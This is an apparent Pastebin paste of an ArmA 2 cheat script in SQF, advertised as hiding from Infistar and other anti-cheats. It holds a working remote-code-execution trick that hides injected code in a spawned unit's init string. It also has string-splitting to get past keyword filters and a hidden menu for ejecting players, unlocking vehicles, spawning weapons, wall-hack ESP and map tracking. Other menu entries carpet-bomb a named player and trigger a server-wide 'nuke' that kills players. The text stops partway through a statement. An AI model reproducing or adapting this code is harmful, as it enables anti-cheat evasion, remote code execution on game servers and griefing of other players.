Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- HashKiduKnow = {
- _InfinityInfinityInfinity = 'Infinity';
- private ["_group","_pos","_pos2","_InfinityList","_InfinityFun","_Infinityc","_Infinityti","_InfinityonsMA","_Infinityna","_Infinityger","_InfinityWhole","_target"];
- _InfinityFun = "Fun";_Infinityc = "c";_Infinityti = "ti";_InfinityonsMA = "onsMa";_Infinityna = "na";_Infinityger = "ger";
- _InfinityWhole = format ["%1%2%3%4%5%6",_InfinityFun,_Infinityc,_Infinityti,_InfinityonsMA,_Infinityna,_Infinityger];
- _pos = getPosATL player;
- _pos2 = [(_pos select 0)+200,(_pos select 1)+200,_pos select 2];
- _InfinityList = [7839,8414,0] nearEntities [_InfinityWhole,999999999];
- _target = _InfinityList select 0;
- if (!isNil "_target") then {
- _group = group _target;
- "Rabbit" createUnit [_pos2,_group,';
- _InfinityInfinityInfinity = ''Infinity'';
- ' + (_this select 0) + ';
- _InfinityInfinityInfinity = ''Infinity'';
- [this] join grpNull;'];
- } else {
- {
- _group = group _x;
- if ((!isNull _group) && (!local _x) && (!isPlayer _x)) then {_target = _x;};
- } count ([7839,8414,0] nearEntities ["AllVehicles",999999999]);
- if (!isNil "_target") then {
- _group = group _target;
- _model = (typeOf player);
- _model createUnit [_pos2,_group,';
- _InfinityInfinityInfinity = ''Infinity'';
- ' + (_this select 0) + ';
- _InfinityInfinityInfinity = ''Infinity'';
- [this] join grpNull;'];
- } else {
- systemChat "Connection to RE Aborted: No slaves detected";
- };
- };
- };
- hint "lets go";
- disableserialization;
- comment " single thread script w/ no global variables ";
- comment " By Zero / For ArmA 2 ";
- comment " Hides From Infistar & Other Anti-cheats ";
- _building = objNull;
- _loop = 0;
- while{isNull _building && !alive _building} do {
- _location = [random(10000),random(10000),0];
- _buildings = _location nearObjects ["House",1000];
- if(count(_buildings) > 0) then {
- _building = _buildings select 0;
- };
- _loop = _loop + 1;
- if(_loop == 10000) exitWith {};
- };
- if(isNull _building) then {
- _building = player;
- systemchat "<ERROR>: Unable to find a building! player death WILL break some commands!";
- } else {
- _building allowDamage false;
- };
- _code = "objectFromNetId '%1'";
- _identifyer = netId _building;
- if(_identifyer == "") then {
- _code = "player";
- };
- _data = format[_code,_identifyer];
- _getVariable = compile format["
- _var = _this;
- if(typename _var == typename []) then {
- if(count(_var) > 0) then {
- _var = _var select 0;
- } else {
- _var = '';
- };
- };
- private['_value'];
- _value = (%1) getVariable (_var);
- _value;
- ",_data];
- _setVariable = compile format["
- (%1) setVariable _this;
- ",_data];
- ["runloops",true] call _setVariable;
- hintSilent "loading hidden menu...";
- _help = {
- _parts = _this select 0;
- _getVariable = _this select 1;
- _setVariable = _this select 2;
- _scriptData = "scriptData" call _getVariable;
- _text = "<t size='0.8' align='left'>Command Referance<br/><br/>";
- {
- _text = _text + (_x select 0) + "<br/> " + (_x select 2) + "<br/>";
- } forEach _scriptData;
- _text = _text + "</t>";
- hint parseText _text;
- };
- hintSilent "loading hidden menu...1";
- _ej = {
- _parts = _this select 0;
- _getVariable = _this select 1;
- _setVariable = _this select 2;
- _name = _parts select 0;
- {
- if(_forEachIndex > 0) then {
- _name = _name + " ";
- _name = _name + _x;
- };
- } forEach _parts;
- _found = false;
- _allPlayers = playableUnits;
- {
- if(toLower(name _x) == toLower(_name)) exitWith {
- moveOut _x;
- hint "Ejected";
- };
- } forEach _allPlayers;
- if(!_found) then {hint "That player does not exist";};
- };
- hintSilent "loading hidden menu...2";
- _gcode = {
- if (isNull cursorTarget) exitWith {};
- _Hash108 = (typeOf cursorTarget);
- _Hash109 = (cursorTarget getVariable ["CharacterID","0"]);
- _Hash113 = if ((_Hash108 == "LockboxStorage") || (_Hash108 == "LockboxStorageLocked")) then {_Hash109 call csFnc_lbCode} else {""};
- _Hash110 = (cursorTarget getVariable ["ObjectID","0"]);
- _Hash111 = (cursorTarget getVariable ["ObjectUID","0"]);
- _Hash112 = format ["%1, CharacterID: %2\n ObjectID: %3\n ObjectUID: %4%5",_Hash108,_Hash109,_Hash110,_Hash111,_Hash113];
- hint _Hash112;
- };
- hintSilent "loading hidden menu...3";
- _op = {
- _HashTgt = cursorTarget;
- if (!isNull _HashTgt) then
- {
- _o0bj = vehicle player;
- if ((_HashTgt isKindOf "AllVehicles") && (locked _HashTgt)) then {_HashTgt lock false;};
- if ((_o0bj != player) && (_o0bj isKindOf "AllVehicles") && (locked _o0bj)) then {_o0bj lock false;};
- {
- _HashTgt animate [_x,1];
- } forEach ["Open_hinge","Open_latch","Lights_1","Lights_2","Open_door","DoorR","LeftShutter","RightShutter"];
- };
- hint "Door/Garage Opened!";
- };
- hintSilent "loading hidden menu...4";
- _cl = {
- _HashTgt = cursorTarget;
- if (!isNull _HashTgt) then
- {
- _o0bj = vehicle player;
- if ((_HashTgt isKindOf "AllVehicles") && (locked _HashTgt)) then {_HashTgt lock true;};
- if ((_o0bj != player) && (_o0bj isKindOf "AllVehicles") && (locked _o0bj)) then {_o0bj lock true;};
- {
- _HashTgt animate [_x,0];
- } forEach ["Open_hinge","Open_latch","Lights_1","Lights_2","Open_door","DoorR","LeftShutter","RightShutter"];
- };
- hint "Door/Garage Closed!";
- };
- hintSilent "loading hidden menu...5";
- _del = {
- _v = cursorTarget;
- deleteVehicle _v;
- hint "Deleted";
- };
- hintSilent "loading hidden menu...6";
- _Stinger = {
- _Hash1ng = createVehicle ["WeaponHolder",position player,[],0,"CAN_COLLIDE"];
- _Hash1ng setVariable ["permaLoot",true];
- _qty=1;_Hash1ng addWeaponCargoGlobal ["Stinger",1];
- _qty=1;_Hash1ng addMagazineCargoGlobal ["Stinger",2];
- hint "Weapon Given: Stinger";
- };
- hintSilent "loading hidden menu...6.5";
- _As50 = {
- _Hash1ng = createVehicle ["WeaponHolder",position player,[],0,"CAN_COLLIDE"];
- _Hash1ng setVariable ["permaLoot",true];
- _qty=1;_Hash1ng addWeaponCargoGlobal ["BAF_AS50_scoped",6];
- _qty=1;_Hash1ng addMagazineCargoGlobal ["5Rnd_127x99_as50",30];
- hint "Weapon Given: As50";
- };
- hintSilent "loading hidden menu...7";
- _breifcase = {
- _th1ii1ng = createVehicle ["WeaponHolder",position player,[],0,"CAN_COLLIDE"];
- _th1ii1ng setVariable ["permaLoot",true];
- _qty=1;_th1ii1ng addMagazineCargoGlobal ["ItemBriefcase100oz",10];
- hint "Item Given: 10 Briefcases";
- };
- _metalfloor = {
- _th1ii1ng = createVehicle ["WeaponHolder",position player,[],0,"CAN_COLLIDE"];
- _th1ii1ng setVariable ["permaLoot",true];
- _qty=1;_th1ii1ng addMagazineCargoGlobal ["metal_floor_kit",10];
- hint "Item Given: 10 Floors";
- };
- _cinderwall = {
- _th1ii1ng = createVehicle ["WeaponHolder",position player,[],0,"CAN_COLLIDE"];
- _th1ii1ng setVariable ["permaLoot",true];
- _qty=1;_th1ii1ng addMagazineCargoGlobal ["cinder_wall_kit",10];
- hint "Item Given: 10 Walls";
- };
- _cinder = {
- _th1ii1ng = createVehicle ["WeaponHolder",position player,[],0,"CAN_COLLIDE"];
- _th1ii1ng setVariable ["permaLoot",true];
- _qty=1;_th1ii1ng addMagazineCargoGlobal ["metal_floor_kit",10];
- hint "Item Given: 12 cinder";
- };
- _metalfloor = {
- _th1ii1ng = createVehicle ["WeaponHolder",position player,[],0,"CAN_COLLIDE"];
- _th1ii1ng setVariable ["permaLoot",true];
- _qty=1;_th1ii1ng addMagazineCargoGlobal ["metal_floor_kit",10];
- hint "Item Given: 10 Floors";
- };
- _plot = {
- _th1ii1ng = createVehicle ["WeaponHolder",position player,[],0,"CAN_COLLIDE"];
- _th1ii1ng setVariable ["permaLoot",true];
- _qty=1;_th1ii1ng addMagazineCargoGlobal ["metal_floor_kit",10];
- hint "Item Given: 1 Plot Pole";
- };
- hintSilent "loading hidden menu...8";
- _e = {
- HashHudSize = 0.1;
- HashHudDist = 5000;
- HashHudSize = 0.1;
- HashHudCp = "#FD1D18";
- HashHudCv = "#1593F0";
- if (isNil "Hashview") then {Hashview = 0;};
- if (Hashview == 0) then {
- Hashview = 1;
- Hashview2 = {
- disableSerialization;
- if (isNil "Hashlvl") then {Hashlvl = 2733;};
- Hashlvl cutRsc ["rscDynamicText","PLAIN"];
- Hashlvl = Hashlvl + 1;
- _tr3nS = ((uiNamespace getVariable "BIS_dynamicText") displayCtrl 9999);
- _tr3nS ctrlShow true;_tr3nS ctrlEnable true;_tr3nS ctrlSetFade 0;
- _x = _this select 0;
- while {(alive _x) && ((player distance _x) < HashHudDist) && (Hashview == 1) && (name _x != "Error: No unit")} do {
- _veh = vehicle _x;
- if (_veh isKindOf "CAManBase") then {
- _hand = currentWeapon _x;
- _weppName = getText(configFile >> "cfgWeapons" >> _hand >> "displayName");
- if(_weppName == "") then {_weppName = _hand;};
- _pos = [(getPosATL _x) select 0, (getPosATL _x) select 1, ((getPosATL _x) select 2) + 2];
- _tr3nnL = worldToScreen _pos;
- if (count _tr3nnL > 0) then {
- _tr3nS ctrlSetPosition [(_tr3nnL select 0) - (safezoneW / 2), (_tr3nnL select 1), safezoneW, safezoneH];
- _tr3nnT = format ["<t size=""%3"" color=""%4"">%1<br/>(W.%5)<br/>[%2m]</t>", name _x, round (player distance _x),HashHudSize,HashHudCp,_weppName];
- _tr3nnR = _tr3nS;
- _tr3nnR ctrlSetStructuredText parseText(_tr3nnT);
- _tr3nS ctrlCommit 0;
- };
- } else {
- _pos = [(getPosATL _x) select 0, (getPosATL _x) select 1, ((getPosATL _x) select 2) + 2];
- _tr3nnL = worldToScreen _pos;
- if (count _tr3nnL > 0) then {
- _type = typeOf _veh;
- _tr3nS ctrlSetPosition [(_tr3nnL select 0) - (safezoneW / 2), (_tr3nnL select 1), safezoneW, safezoneH];
- _crew = [];
- {_crew = _crew + [name _x];} forEach crew _veh;
- _tr3nnT = format ["<t size=""%3"" color=""%4"">%1<br/>(V.%5)<br/>[%2m]</t>", _crew, round (player distance _x),HashHudSize,HashHudCv,_type];
- _tr3nnR = _tr3nS;
- _tr3nnR ctrlSetStructuredText parseText(_tr3nnT);
- _tr3nS ctrlCommit 0;
- };
- };
- _dist = player distance _x;
- if (_dist <= 100) then {_tr3nS ctrlSetFade 0;};
- if (_dist > 100) then {_tr3nS ctrlSetFade 0.1;};
- if (_dist > 500) then {_tr3nS ctrlSetFade 0.2;};
- if (_dist > 1000) then {_tr3nS ctrlSetFade 0.4;};
- if (_dist > 1500) then {_tr3nS ctrlSetFade 0.5;};
- if (_dist > 2000) then {_tr3nS ctrlSetFade 0.6;};
- if (_dist > 2500) then {_tr3nS ctrlSetFade 0.7;};
- if (_dist > 3000) then {_tr3nS ctrlSetFade 0.85;};
- uiSleep 0.01;
- };
- _tr3nS ctrlShow false;
- _tr3nS ctrlEnable false;
- };
- hint "ESP: Enabled";
- _tr3nnI = [];
- while {Hashview == 1} do {
- _count = count ((position player) nearEntities ["CAManBase",HashHudDist]);
- {
- _tr3nnP = getPlayerUID _x;
- if (((_x in _tr3nnI) && !(alive _x)) || ((_x in _tr3nnI) && ((player distance _x) > HashHudDist))) then {_tr3nnI = _tr3nnI - [_x];};
- if ((_x != player) && (_tr3nnP != "") && (name _x != "") && !(_x in _tr3nnI) && ((player distance _x) < HashHudDist)) then {
- _tr3nnI = _tr3nnI + [_x];
- [_x] spawn Hashview2;
- uiSleep 0.01;
- };
- } count ([7839,8414,0] nearEntities ["AllVehicles",12000]);
- waitUntil {_count != count ((position player) nearEntities [["CAManBase"], HashHudDist])};
- };
- } else {
- Hashview = 0;
- hint "ESP: Disabled";
- };
- };
- hintSilent "loading hidden menu...9";
- _vehiclemapm = {
- if !("ItemMap" in items player) then {player addweapon "ItemMap";};
- if !("ItemGPS" in items player) then {player addweapon "ItemGPS";};
- if (isnil "Marv_veh") then {Marv_veh = 0;}; if (Marv_veh == 0) then {Marv_veh = 1; hint "Vehicle Markers ON";} else {Marv_veh = 0; hint "Vehicle Markers OFF";};
- while {Marv_veh == 1} do
- {
- {
- marveh = str _x;
- deleteMarkerLocal marveh;
- marveh = createMarkerLocal [marveh, getPos _x];
- marveh setMarkerTypeLocal "waypoint";
- marveh setMarkerPosLocal getPos _x;
- marveh setMarkerSizeLocal [0.5,0.5];
- marveh setMarkerTextLocal format['%1',typeOf _x];
- if ((_x isKindOf "Air") || (_x isKindOf "Tank")) then {marveh setMarkerColorLocal ("ColorBlue");} else {marveh setMarkerColorLocal ("ColorBlue");};
- } forEach vehicles;
- sleep 1;
- };
- {marveh = str _x; deleteMarkerLocal marveh;} forEach vehicles;
- {deleteMarkerLocal str _x} forEach vehicles;
- };
- hintSilent "loading hidden menu...10";
- _mapm = {
- if !("ItemMap" in items player) then {player addweapon "ItemMap";};
- Marve = [];
- Marvs = [];
- if (isnil "Marv_localpm") then {Marv_localpm = 0;};
- if (Marv_localpm == 0) then {Marv_localpm = 1; hint "Player Markers On";} else {Marv_localpm = 0; hint "Player Markers Off";};
- while {Marv_localpm == 1} do
- {
- _allPlayers = playableUnits;
- {
- if ((vehicle _x isKindOf "LandVehicle") || (vehicle _x isKindOf "Air") || (vehicle _x isKindOf "Ship")) then
- {
- if (count (crew vehicle _x) > 0) then
- {
- {
- if (!(_x in Marve) and (alive _x) and (getPlayerUID _x != "")) then
- {
- private ["_pos", "_mkr", "_vhc"];
- _vhc = vehicle _x;
- _pos = getPos _x;
- _mkr = createMarkerLocal [format ["CRW%1%2", _pos select 0, _pos select 1], [(_pos select 0) + 20, _pos select 1, 0]];
- _vehname = (gettext (configFile >> 'CfgVehicles' >> (typeof vehicle _x) >> 'displayName'));
- _mkr setMarkerTextLocal format[' %1 --- %2 --- %3m',name _x,_vehname,round(_x distance player)];
- _mkr setMarkerTypeLocal "waypoint";
- if ((side _x == side player) and (side _x != resistance)) then {_mkr setMarkerColorLocal "ColorRed";}else{_mkr setMarkerColorLocal "ColorRed";};
- _mkr setMarkerSizeLocal [0,0];
- Marve set [count Marve, _x];
- [_x, _mkr,_vhc] spawn
- {
- private ["_u", "_m","_pc"];
- _u = _this select 0;
- _m = _this select 1;
- while {(Marv_localpm == 1) and (alive _u) and (vehicle _u != _u) and (getPlayerUID _u != "")} do
- {
- _pc = ((crew vehicle _u) find _u);
- _m setMarkerPosLocal ([(getPos _u select 0) + 20, (getPos _u select 1) - (25 + _pc*20), 0]);
- sleep 0.01;
- };
- deleteMarkerLocal _m;
- if (_u in Marve) then
- {
- Marve set [(Marve find _u), -1];
- Marve = Marve - [-1];
- };
- true;
- };
- };
- } forEach crew vehicle _x;
- };
- }
- else
- {
- if (!(_x in Marvs) and (vehicle _x == _x) and (getPlayerUID _x != "")) then
- {
- private ["_pos", "_mkr"];
- _pos = getPos _x;
- _mkr = createMarkerLocal [format ["PLR%1%2", _pos select 0, _pos select 1], [(_pos select 0) + 20, _pos select 1, 0]];
- _mkr setMarkerTypeLocal "waypoint";
- _mkr setMarkerSizeLocal [0,0];
- if ((side _x == side player) and (side _x != resistance)) then {_mkr setMarkerColorLocal "ColorRed";}else{_mkr setMarkerColorLocal "ColorRed";};
- _mkr setMarkerTextLocal format ["%1 --- %2", name _x,round(_x distance player)];
- if (_x == player) then
- {
- _mkr setMarkerColorLocal "ColorGreen";
- };
- Marvs set [count Marvs, _x];
- [_x, _mkr] spawn
- {
- private ["_u", "_m"];
- _u = _this select 0;
- _m = _this select 1;
- while {(Marv_localpm == 1) and (alive _u) and (vehicle _u == _u) and (getPlayerUID _u != "") } do
- {
- _m setMarkerPosLocal ([(getPos _u select 0) + 20, getPos _u select 1, 0]);
- sleep 0.01;
- };
- deleteMarkerLocal _m;
- if (_u in Marvs) then
- {
- Marvs set [(Marvs find _u), -1];
- Marvs = Marvs - [-1];
- };
- true;
- };
- };
- };
- } forEach _allPlayers;
- sleep 0.3;
- };
- _allPlayers = playableUnits;
- {_mkr = str _x; deleteMarkerLocal _mkr;} forEach _allPlayers;
- _allPlayers = playableUnits;
- {deleteMarkerLocal _x} forEach _allPlayers;
- {deleteMarkerLocal _x} forEach _mkr;
- {deleteMarkerLocal _x} forEach Marve;
- {deleteMarkerLocal _x} forEach Marvs;
- };
- hintSilent "loading hidden menu...11";
- _bombtarget = {
- _parts = _this select 0;
- _getVariable = _this select 1;
- _setVariable = _this select 2;
- _name = _parts select 0;
- {
- if(_forEachIndex > 0) then {
- _name = _name + " ";
- _name = _name + _x;
- };
- } forEach _parts;
- _bombdelay = 0.0;
- _bombcount = 1000;
- _bombmepls = objNull;
- _allPlayers = playableUnits;
- {
- if (toLower(name _x) == toLower(_name)) then {_bombmepls = _x;};
- } forEach _allPlayers;
- hint "Bombs in comming!";
- _mapPos = getpos _bombmepls;
- for "_i" from 0 to _bombcount do
- {
- ("BO_" + "GBU" + "12_" + "LGB") createvehiclelocal ([(_mapPos select 0) - 50 + random 100, (_mapPos select 1) - 50 + random 100, 40]);
- sleep _bombdelay;
- };
- };
- hintSilent "loading hidden menu...12";
- _nuketarget = {
- Hashbuildings = true; // Destroy buildings after Nooke detonates
- Hashmsg = 'SyCo IS GOD!!! BOW DOWN BITCHES!!!!'; // Nooke message
- Hashunits = true; // Kill players and vehicles after Nooke detonates
- Hashclick = {
- HashzClick = 0;
- onMapSingleClick "";
- openMap [false,false];
- private ["_HashBomb","_HashBomb2","_HashPos"];
- _HashPos = [_this select 0,_this select 1,_this select 2];
- _HashBomb2 = format ["
- HashBombmr = '%1';
- HashF = %2;
- HashDestbaer = %3;
- HashDestvaer = %4;
- ",Hashmsg,_HashPos,Hashbuildings,Hashunits];
- [_HashBomb2] call HashKiduKnow;
- uiSleep .02;
- _HashBomb = "
- HashBomb = {
- HashFpos = 'Old_bike_TK_CIV_EP1' createVehicleLocal HashF;
- _HashNum = str ( ceil ( random 999999 ) );
- HashFpos setVariable ['ObjectID',_HashNum,true];
- HashFpos setVariable ['ObjectUID',_HashNum,true];
- HashQu = {
- for '_i' from 0 to 140 do {
- _vx = vectorup _this select 0;
- _vy = vectorup _this select 1;
- _vz = vectorup _this select 2;
- _coef = 0.03 - (0.0001 * _i);
- _this setvectorup [
- _vx+(-_coef+random (2*_coef)),
- _vy+(-_coef+random (2*_coef)),
- _vz+(-_coef+random (2*_coef))
- ];
- uiSleep (0.01 + random 0.01);
- };
- };
- _HashPart1 = 'nu';
- _HashPart2 = 'ke';
- _HashWhole = _HashPart1+_HashPart2;
- playSound _HashWhole;
- HashWi = {
- while {HashWiv} do {
- _ran = ceil random 2;
- _pos = position player;
- _velocity = [random 10,random 10,-1];
- _color = [1.0, 0.9, 0.8];
- _alpha = 0.02 + random 0.02;
- _ps = '#particlesource' createVehicleLocal _pos;
- _ps setParticleParams [['\Ca\Data\ParticleEffects\Universal\universal.p3d', 16, 12, 8], '', 'Billboard', 1, 3, [0, 0, -6], _velocity, 1, 1.275, 1, 0, [9], [_color + [0], _color + [_alpha], _color + [0]], [1000], 1, 0, '', '', _pos];
- _ps setParticleRandom [3, [30, 30, 0], [0, 0, 0], 1, 0, [0, 0, 0, 0.01], 0, 0];
- _ps setParticleCircle [0.1, [0, 0, 0]];
- _ps setDropInterval 0.01;
- uiSleep (random 1);
- _delay = 1 + random 5;
- uiSleep _delay;
- deletevehicle _ps;
- };
- };
- HashEn = {
- 'colorCorrections' ppEffectAdjust [2, 30, 0, [0.0, 0.0, 0.0, 0.0], [0.8*2, 0.5*2, 0.0, 0.7], [0.9, 0.9, 0.9, 0.0]];
- 'colorCorrections' ppEffectCommit 0;
- 'colorCorrections' ppEffectAdjust [1, 0.8, -0.001, [0.0, 0.0, 0.0, 0.0], [0.8*2, 0.5*2, 0.0, 0.7], [0.9, 0.9, 0.9, 0.0]];
- 'colorCorrections' ppEffectCommit 3;
- 'colorCorrections' ppEffectEnable true;
- 'filmGrain' ppEffectEnable true;
- 'filmGrain' ppEffectAdjust [0.02, 1, 1, 0.1, 1, false];
- 'filmGrain' ppEffectCommit 5;
- };
- HashAs = {
- _pos = position player;
- _parray = [
- ['\Ca\Data\ParticleEffects\Universal\Universal', 16, 12, 8, 1],
- '',
- 'Billboard',
- 1,
- 4,
- [0,0,0],
- [0,0,0],
- 1,
- 0.000001,
- 0,
- 1.4,
- [0.05,0.05],
- [[0.1,0.1,0.1,1]],
- [0,1],
- 0.2,
- 1.2,
- '',
- '',
- vehicle player
- ];
- HashSn = '#particlesource' createVehicleLocal _pos;
- HashSn setParticleParams _parray;
- HashSn setParticleRandom [0, [10, 10, 7], [0, 0, 0], 0, 0.01, [0, 0, 0, 0.1], 0, 0];
- HashSn setParticleCircle [0.0, [0, 0, 0]];
- HashSn setDropInterval 0.003;
- };
- if (player distance HashFpos < 10000) then {
- 'dynamicBlur' ppEffectEnable true;
- 'dynamicBlur' ppEffectAdjust [0.5];
- 'dynamicBlur' ppEffectCommit 3;
- uiSleep 0.1;
- 'dynamicBlur' ppEffectAdjust [2];
- 'dynamicBlur' ppEffectCommit 1;
- 'dynamicBlur' ppEffectAdjust [1];
- 'dynamicBlur' ppEffectCommit 4;
- };
- player spawn HashEn;
- player spawn HashQu;
- uiSleep 3;
- _Cone = '#particlesource' createVehicleLocal (getPos HashFpos);
- _Cone setParticleParams [['\Ca\Data\ParticleEffects\Universal\Universal', 16, 7, 48], '', 'Billboard', 1, 10, [0, 0, 0],
- [0, 0, 0], 0, 1.275, 1, 0, [40,80], [[0.25, 0.25, 0.25, 0], [0.25, 0.25, 0.25, 0.5],
- [0.25, 0.25, 0.25, 0.5], [0.25, 0.25, 0.25, 0.05], [0.25, 0.25, 0.25, 0]], [0.25], 0.1, 1, '', '', HashFpos];
- _Cone setParticleRandom [2, [1, 1, 30], [1, 1, 30], 0, 0, [0, 0, 0, 0.1], 0, 0];
- _Cone setParticleCircle [10, [-10, -10, 20]];
- _Cone setDropInterval 0.005;
- _top = '#particlesource' createVehicleLocal (getPos HashFpos);
- _top setParticleParams [['\Ca\Data\ParticleEffects\Universal\Universal', 16, 3, 48, 0], '', 'Billboard', 1, 21, [0, 0, 0],
- [0, 0, 65], 0, 1.7, 1, 0, [100,80,110], [[1, 1, 1, -10],[1, 1, 1, -7],[1, 1, 1, -4],[1, 1, 1, -0.5],[1, 1, 1, 0]], [0.05], 1, 1, '', '', HashFpos];
- _top setParticleRandom [0, [75, 75, 15], [17, 17, 10], 0, 0, [0, 0, 0, 0], 0, 0, 360];
- _top setDropInterval 0.002;
- _top2 = '#particlesource' createVehicleLocal (getPos HashFpos);
- _top2 setParticleParams [['\Ca\Data\ParticleEffects\Universal\Universal', 16, 3, 112, 0], '', 'Billboard', 1, 22, [0, 0, 0],
- [0, 0, 60], 0, 1.7, 1, 0, [100,80,100], [[1, 1, 1, 0.5],[1, 1, 1, 0]], [0.07], 1, 1, '', '', HashFpos];
- _top2 setParticleRandom [0, [75, 75, 15], [17, 17, 10], 0, 0, [0, 0, 0, 0], 0, 0, 360];
- _top2 setDropInterval 0.002;
- _smoke = '#particlesource' createVehicleLocal (getPos HashFpos);
- _smoke setParticleParams [['\Ca\Data\ParticleEffects\Universal\Universal', 16, 7, 48, 1], '', 'Billboard', 1, 25, [0, 0, 0],
- [0, 0, 70], 0, 1.7, 1, 0, [50,20,120],
- [[1, 1, 1, 0.4],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0]]
- , [0.5, 0.1], 1, 1, '', '', HashFpos];
- _smoke setParticleRandom [0, [10, 10, 15], [15, 15, 7], 0, 0, [0, 0, 0, 0], 0, 0, 360];
- _smoke setDropInterval 0.002;
- _Wave = '#particlesource' createVehicleLocal (getPos HashFpos);
- _Wave setParticleParams [['\Ca\Data\ParticleEffects\Universal\Universal', 16, 7, 48], '', 'Billboard', 1, 20/2, [0, 0, 0],
- [0, 0, 0], 0, 1.5, 1, 0, [50, 100], [[0.1, 0.1, 0.1, 0.5],
- [0.5, 0.5, 0.5, 0.5], [1, 1, 1, 0.3], [1, 1, 1, 0]], [1,0.5], 0.1, 1, '', '', HashFpos];
- _Wave setParticleRandom [2, [20, 20, 20], [5, 5, 0], 0, 0, [0, 0, 0, 0.1], 0, 0];
- _Wave setParticleCircle [50, [-80, -80, 2.5]];
- _Wave setDropInterval 0.0002;
- _light = '#lightpoint' createVehicleLocal [(getPos HashFpos) select 0,(getPos HashFpos) select 1,((getPos HashFpos) select 2)+800];
- _light setLightAmbient[1500, 1200, 1000];
- _light setLightColor[1500, 1200, 1000];
- _light setLightBrightness 1000000.0;
- uiSleep 3;
- _Wave setDropInterval 0.001;
- deletevehicle _top;
- deletevehicle _top2;
- uiSleep 4;
- setaperture -1;
- _top3 = '#particlesource' createVehicleLocal (getPos HashFpos);
- _top3 setParticleParams [['\Ca\Data\ParticleEffects\Universal\Universal', 16, 3, 48, 0], '', 'Billboard', 1, 24, [0, 0, 450],
- [0, 0, 49], 0, 1.7, 1, 0, [120,130,150], [[1, 1, 1, -10],[1, 1, 1, -7],[1, 1, 1, -4],[1, 1, 1, -0.5],[1, 1, 1, 0]], [0.05], 1, 1, '', '', HashFpos];
- _top3 setParticleRandom [0, [75, 75, 15], [17, 17, 10], 0, 0, [0, 0, 0, 0], 0, 0, 360];
- _top3 setDropInterval 0.002;
- uiSleep 4;
- deletevehicle _top3;
- uiSleep 4;
- if (player distance HashFpos < 10000) then {
- 'dynamicBlur' ppEffectAdjust [0];
- 'dynamicBlur' ppEffectCommit 1;
- };
- _top4 = '#particlesource' createVehicleLocal (getPos HashFpos);
- _top4 setParticleParams [['\Ca\Data\ParticleEffects\Universal\Universal', 16, 3, 48, 0], '', 'Billboard', 1, 22, [0, 0, 770],
- [0, 0, 30], 0, 1.7, 1, 0, [100,120,140], [[1, 1, 1, -10],[1, 1, 1, -7],[1, 1, 1, -4],[1, 1, 1, -0.5],[1, 1, 1, 0]], [0.05], 1, 1, '', '', HashFpos];
- _top4 setParticleRandom [0, [75, 75, 15], [17, 17, 10], 0, 0, [0, 0, 0, 0], 0, 0, 360];
- _top4 setDropInterval 0.002;
- uiSleep 3;
- _top4 setParticleParams [['\Ca\Data\ParticleEffects\Universal\Universal', 16, 3, 48, 0], '', 'Billboard', 1, 25, [0, 0, 830],
- [0, 0, 30], 0, 1.7, 1, 0, [100,120,140], [[1, 1, 1, -10],[1, 1, 1, -7],[1, 1, 1, -4],[1, 1, 1, -0.5],[1, 1, 1, 0]], [0.05], 1, 1, '', '', HashFpos];
- _Wave setDropInterval 0.001*10;
- _Wave setParticleParams [['\Ca\Data\ParticleEffects\Universal\Universal', 16, 7, 48], '', 'Billboard', 1, 20/2, [0, 0, 0],
- [0, 0, 0], 0, 1.5, 1, 0, [50, 100], [[0.1, 0.1, 0.1, 0.5],
- [0.5, 0.5, 0.5, 0.5], [1, 1, 1, 0.3], [1, 1, 1, 0]], [1,0.5], 0.1, 1, '', '', HashFpos];
- _Wave setParticleCircle [50, [-40, -40, 2.5]];
- player spawn HashAs;
- HashWiv=true;
- player spawn HashWi;
- deleteVehicle _light;
- uiSleep 4;
- deletevehicle _top4;
- _i = 0;
- while {_i < 100} do
- {
- _light setLightBrightness (100.0 - _i)/100;
- _i = _i + 1;
- uiSleep 0.1;
- };
- for '_i' from 0 to 15 do {
- _smoke setParticleParams [['\Ca\Data\ParticleEffects\Universal\Universal', 16, 7, 48, 1], '', 'Billboard', 1, 25, [0, 0, 0],
- [0, 0, 60+_i], 0, 1.7, 1, 0, [40,15,120],
- [[1, 1, 1, 0.4],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0.7],[1, 1, 1, 0]]
- , [0.5, 0.1], 1, 1, '', '', HashFpos];
- };
- _timeNow = time;
- waituntil {(time - _timeNow) > 180};
- _smoke setParticleParams [['\Ca\Data\ParticleEffects\Universal\Universal', 16, 7, 48, 1], '', 'Billboard', 1, 25, [0, 0, 0],
- [0, 0, 30], 0, 1.7, 1, 0, [40,25+10,80],
- [[1, 1, 1, 0.2],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0.3],[1, 1, 1, 0]]
- , [0.5, 0.1], 1, 1, '', '', HashFpos];
- _smoke setDropInterval 0.012;
- _Cone setDropInterval 0.02;
- _Wave setDropInterval 0.01;
- uiSleep 10;
- deleteVehicle _Wave;
- deleteVehicle _cone;
- deleteVehicle _smoke;
- deleteVehicle HashSn;
- uiSleep 300;
- 'filmGrain' ppEffectEnable false;
- uiSleep 10;
- 'colorCorrections' ppEffectEnable false;
- uiSleep 10;
- HashWiv=false;
- };
- taskHint [HashBombmr,[1,0,0,1],'taskNew'];
- [] spawn {for '_i' from 0 to 30 do {systemChat HashBombmr;uiSleep .1;};};
- _pos = getPosATL player;
- _HashPart1 = 'So';
- _HashPart2 = 'und_';
- _HashPart3 = 'Al';
- _HashPart4 = 'a';
- _HashPart5 = 'rm';
- _HashWhole = _HashPart1+_HashPart2+_HashPart3+_HashPart4+_HashPart5;
- _HashSound = createSoundSource [_HashWhole,_pos,[],0];
- _HashSound attachTo [player];
- _HashPart1 = 'So';
- _HashPart2 = 'und_';
- _HashPart3 = 'Al';
- _HashPart4 = 'a';
- _HashPart5 = 'rm2';
- _HashWhole = _HashPart1+_HashPart2+_HashPart3+_HashPart4+_HashPart5;
- _HashSound = createSoundSource [_HashWhole,_pos,[],0];
- _HashSound attachTo [player];
- [] spawn HashBomb;
- if (isDedicated) then {
- [] spawn {
- uiSleep 20;
- if (HashDestvaer) then {
- _veh = [7839,8414,0] nearEntities ['AllVehicles',8000];
